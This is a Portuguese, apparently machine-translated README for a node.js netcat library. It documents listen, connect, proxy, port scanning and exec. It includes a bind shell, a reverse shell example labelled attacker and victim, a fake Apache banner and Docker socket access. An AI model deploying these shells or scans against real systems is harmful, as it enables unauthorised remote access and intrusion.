Os módulos de clientes e servidores do NetCat escritos em javascript puro para node.js.
Módulos totalmente testados que implementam todos os recursos básicos do NetCat. Para usar como ferramenta independente, instale o pacote NC.
| Linux/Mac | Windows |
|---|---|
.auth('pass') ). allow e deny o endereço IP remoto específico. $ npm install --save netcat
const NetcatServer = require ( 'netcat/server' )
const NetcatClient = require ( 'netcat/client' )
const nc = new NetcatServer ( )
const nc2 = new NetcatClient ( ) A API deste módulo tende a seguir o máximo possível os parâmetros CLI do NetCat original.
Por exemplo: nc -l -p 2389 é equivalente a nc.port(2389).listen() . Fácil, certo?
| Servidor | Cliente |
|---|---|
nc.port(2389).listen() | nc2.addr('127.0.0.1').port(2389).connect() |
| Servidor | Cliente |
|---|---|
nc.port(2389).listen().pipe(outputStream) | inputStream.pipe(nc2.port(2389).connect().stream()) |
Ou vice -versa, você pode fazer o equivalente a nc -l -p 2389 < filename.txt E quando alguém se conecta à sua porta 2389, o arquivo é enviado a eles, quer que quisesse ou não:
| Servidor | Cliente |
|---|---|
nc.port(2389).serve('filename.txt').listen() | nc2.port(2389).connect().pipe(outputStream) |
| Servidor | Cliente |
|---|---|
nc.port(2389).k().listen() | inputStream.pipe(nc2.port(2389).connect().stream()) |
O servidor será mantido vivo e não será fechado após a primeira conexão. ( k() é um pseudônimo para keepalive() )
| Servidor | Cliente |
|---|---|
nc.port(2389).listen().serve(Buffer.from('Hello World')) | nc2.port(2389).connect().on('data', console.log) |
| Servidor | Cliente |
|---|---|
nc.port(2389).listen().exec('/bin/bash') | process.stdin.pipe( nc2.addr('127.0.0.1').port(2389).connect().pipe(process.stdout).stream() ) |
O método exec() executa o comando dado e tubos juntos seu stdout e stderr com o socket dos clientes.
| Atacante | Vítima |
|---|---|
nc.k().port(2389).listen().serve(process.stdin).pipe(process.stdout) | nc2.addr('127.0.0.1').port(2389) .retry(5000).connect().exec('/bin/sh') |
O NetCat pode ser facilmente configurado como um servidor proxy:
var nc = new NetcatServer ( )
var nc2 = new NetcatClient ( )
nc2 . addr ( 'google.com' ) . port ( 80 ) . connect ( )
nc . port ( 8080 ) . k ( ) . listen ( ) . proxy ( nc2 . stream ( ) ) Todo o tráfego que flui no localhost:8080 será redirecionado para google.com:80 . Da mesma forma, você pode configurar um encaminhamento de porta usando o mesmo host.
Finja ser um servidor Apache:
var apache = `HTTP/1.1 200 OK
Date: Sat, 27 May 2017 16:51:02 GMT
Server: Apache/2.4.7 (Ubuntu)
Cache-Control: public, max-age=0
Content-Type: text/html; charset=utf-8
Content-Length: 16894
Vary: Accept-Encoding
`
var nc = new NetcatServer ( )
var logFile = fs . createWriteStream ( 'log.txt' )
nc . port ( 80 ) . k ( ) . listen ( ) . serve ( Buffer . from ( apache ) ) . pipe ( logFile ) O cliente NetCat fornece também uma funcionalidade básica de varredura de porta.
var nc = new NetcatClient ( )
nc . addr ( '127.0.0.1' ) . scan ( '22-80' , function ( ports ) {
// ports: { '22': 'open', '23': 'closed' ... }
} ) O scanner da porta é apenas o protocolo TCP. A varredura UDP não é realmente eficaz. scan(...) aceita também uma matriz ou um número inteiro.
var nc = new NetcatServer ( )
nc . addr ( '127.0.0.1' ) . port ( 8080 ) . filter ( function ( chunk , enc , cb ) {
// transform upper case
var out = chunk . toString ( ) . toUpperCase ( )
this . push ( Buffer . from ( out ) )
cb ( null )
} ) . pipe ( process . stdout ) . connect ( ) O servidor NetCat e o cliente suporta o soquete Unix Conn. Vamos usar a instância do cliente NetCat para conectar -se ao arquivo de soquete do Docker Unix e recuperar a lista das imagens de nossos contêineres.
nc2 . unixSocket ( '/var/run/docker.sock' ) . enc ( 'utf8' )
. on ( 'data' , function ( res ) {
console . log ( res )
} )
. connect ( )
. send ( 'GET /images/json HTTP/1.0rnrn' ) var nc = new NetcatServer ( )
nc . udp ( ) . port ( 2100 ) . listen ( ) . on ( 'data' , function ( rinfo , data ) {
console . log ( 'Got' , data . toString ( ) , 'from' , rinfo . address , rinfo . port )
nc . close ( )
} ) var nc2 = new NetcatClient ( )
nc2 . udp ( ) . port ( 2100 ) . wait ( 1000 ) . init ( ) . send ( 'hello' , '127.0.0.1' ) Envie o Buffer hello para a porta 2100 e depois de 1000 ms fechar o cliente.
port(int) ou p(int)O NetCat pode se ligar a qualquer porta local, sujeita a restrições e portas de privilégio que já estão em uso.
address(host) ou addr(host)0.0.0.0 Por padrão.127.0.0.1 Por padrão. listen()Faça o servidor UDP/TCP ouça na porta definida anteriormente.
unixSocket(path) - apenas TCPOpcionalmente, você pode fornecer o caminho para um arquivo de meia Unix e ouvir/conectar -o a ele.
connect() - apenas TCPSomente do lado do cliente. Deixe o cliente se conectar ao endereço e à porta definidos anteriormente.
retry(ms) - apenas TCP Somente do lado do cliente. Represente a conexão a cada milissegundos ms quando a conexão for perdida.
interval(ms) ou i(ms)Somente do lado do cliente: especifica um intervalo de tempo de atraso para os dados enviados. Em milissegundos.
waitTime(ms) ou wait(ms)Defina um tempo limite.
ms dos primeiros dados e, se não receber mais dados, fechará a conexão.ms dos primeiros dados enviados e se não houver mais dados para enviar o cliente. stream()Retorne a referência do cliente duplexstream.
pipe(outStream)Pipe dados recebidos do cliente para o dado a extrema.
filter(transformFn) Filtre os dados recebidos com a função de transformação fornecida function (chunk, enc, cb){...} antes de ser transbordada.
NB : Os dados .on('data', cb) que você obtém não são filtrados. O filtro se aplica apenas no fluxo .pipe(...) canalizado.
Problema conhecida : through2 agora não respeita a codificação. Se você definir um filtro, obterá um buffer e o método enc() será inútil.
serve()Método do lado do servidor.
O método serve aceita uma string (indicando um nome de arquivo, verifique se o arquivo existe), um fluxo legível ou um buffer. Quando você passa em um fluxo legível, o método Keepalive pode fazer com que o fluxo seja consumido na primeira solicitação e nenhum mais pode ser servido (o fluxo não é armazenado em cache em um buffer).
Além disso, ao servir um arquivo ou um buffer a um soquete, o tubo emitirá um evento end (EOF) no soquete. Fechando o fluxo.
send(data [, cb|host])Lado do cliente:
cb é chamado assim que os dados são enviados.Servidor:
serve() .end(data) - apenas TCPMétodo do lado do cliente. Envie dados dados e feche a conexão.
close([cb]) Feche a conexão (ou as conexões, se executado no lado do servidor) e ligue para cb assim que o soquete for fechado.
enc() Defina uma codificação. Os mais comuns são: utf8 , ascii , base64 , hex , binary , hex .
protocol(prot) Defina um protocolo personalizado. O uso desse método é desencorajado. Use os métodos tcp() e udp() . tcp é o valor padrão.
keepalive() ou k() - TCPMétodo do lado do servidor.
Quando você define o Keepalive, o servidor permanece acordado e, possivelmente, o extremo dado ao pipe(outStream) mantido aberto.
Por padrão, no modo UDP, a audição é mantida viva até que um nc.close() .
exec() - apenas TCP O método exec() executa o comando dado e tubos juntos seu stdout e stderr com o socket dos clientes. Opcionalmente, aceita uma string e uma matriz de args como segundo param e as opções de spawn como terceiro param. Se um char de tubo for encontrado | Em seguida, todos os comandos serão processados sob um sh -c .
Exemplo:
nc . p ( 2389 ) . exec ( 'base64' , [ '-d' ] ) . listen ( )
// OR
nc . p ( 2389 ) . exec ( 'base64 | grep hello' ) . listen ( ) getClients() - apenas TCPMétodo do lado do servidor. Retorne um objeto listando todas as referências de soquete do cliente.
proxy(duplexStream) - apenas TCP Método do lado do servidor. Este método PIPE os dados de entrada/saída do servidor para o DuplexStream fornecido. É como um atalho para as chamadas: .serve(duplexStream) e .pipe(duplexStream) .
output(outStream) ou out(outStream) Escreva um dump hexadecimente do tráfego de entrada ou que está de entrada para o fluxo de gravidade dado outStream .
Uma linha representa um pedaço de pelo menos 16 bytes por padrão.
O primeiro personagem pode ser < respectivamente "pedaço de entrada" ou "pedaço > saída".
scan(portsInterval, cb) - apenas TCPO cliente NetCat fornece também uma funcionalidade básica de varredura de porta.
Os parâmetros são mandatórios. O primeiro parâmetro especifica as portas para digitalizar. Pode ser um número inteiro único, um intervalo de cordas (como 22-80 ) ou uma matriz de número inteiro ( [22, 23, 1880] ). O retorno de chamada retorna como resultado, um objeto como { '22': 'open', '23': 'closed' ... } .
init() - apenas UDP O equivalente a UDP em connect() . Apenas para clientes UDP.
bind(<int>) - apenas UDP Deixe o cliente/servidor UDP ouvir na porta fornecida. Ele também será usado como porto que se aproxima se .port(<n>) não foi chamado.
broadcast(<dst>) ou b(<dst>) - apenas UDPDefina a transmissão para o servidor UDP (eventualmente você pode especificar um endereço de destino).
destination(<dst>) - apenas UDP Defina um endereço de destino. ( 127.0.0.1 é o valor padrão)
loopback() - apenas UDPAtivar loopback. Por exemplo, quando um servidor UDP é bi -primo para uma porta e envia uma mensagem para essa porta, ele receberá o MSG se o loopback estiver ativado.
bind(int) - apenas UDP Ligue o servidor/cliente UDP para ouvir na porta fornecida e use o conjunto de porta com port() apenas para os pacotes próximos.
Os módulos NetCat estendem a classe EventEmitter . Você poderá pegar alguns eventos diretamente dos soquetes. Por exemplo, o evento data para o servidor:
| Servidor | Cliente |
|---|---|
nc.port(2389).listen().on('data', onData) | inputStream.pipe(nc2.port(2389).connect().stream()) |
function onData ( socket , chunk ) {
console . log ( socket . id , 'got' , chunk ) // Buffer <...>
socket . write ( 'hello client' ) // reply to the client
}.on('data', function(sock/rinfo, msg){})Emitido quando o servidor obtém dados dos clientes.
.on('ready', cb)Emitido quando o servidor ouve com sucesso/vincular a uma porta.
.on('close', cb)Emitido quando o servidor fecha.
.on('clientClose', function(socket, hadError){}) - apenas tcp Chamado quando um cliente se desconecta do servidor. O retorno de chamada aceita como 1º parâmetro A instância socket apenas desconectada e um Bool Val hadError .
.on('connection', function(socket){}) - apenas TCPEmitido quando um novo cliente se conecta ao servidor.
.on('end', function(socket){}) - apenas TCPEmitido quando um cliente termina a conexão.
.on('timeout', function(socket){}) - apenas tcpEvento de tempo limite do soquete.
.on('waitTimeout', cb) Disponível quando o servidor permanece inativo por um tempo wait(ms) .
.on('error', function(err){})Emitido por erro.
.on('data', function(msg){})Dados do servidor.
.on('close', cb)Emitido quando o cliente fecha.
.on('waitTimeout', cb) Disponível quando o cliente permanece inativo por um tempo wait(ms) .
.on('connect', cb) - apenas TCPEmitido quando o cliente estabeleceu uma conexão com um servidor.
.on('error', function(err){})Emitido por erro.
Para o uso independente, instale o pacote NC CLI:
$ npm install -g nc
Exemplo:
$ # Listen for inbound
$ nc -l -p port [- options] [hostname] [port]
Opções disponíveis:
-c shell commands as '-e'; use /bin/sh to exec [dangerous!!]-e filename program to exec after connect [dangerous!!]-b allow broadcasts-i secs delay interval for lines sent, ports scanned (client-side)-h this cruft-k set keepalive option on socket-l listen mode, for inbound connects-n numeric-only IP addresses, no DNS-o file hex dump of traffic-p port local port number-r randomize local and remote ports-q secs quit after EOF on stdin and delay of secs-s addr local source address-u UDP mode-U Listen or connect to a UNIX domain socket-v verbose-w secs timeout for connects and final net reads-z zero-I/O mode [used for scanning] Debug corresponde ao modo detalhado. Você pode habilitá -lo com o verbose: true param ou o Env var DEBUG=netcat:*
Execute -os com: npm test
Cobertura:
.serve(input) .pipe() e serve() . exec() Rocco Musolino (@Roccomuso)
Mit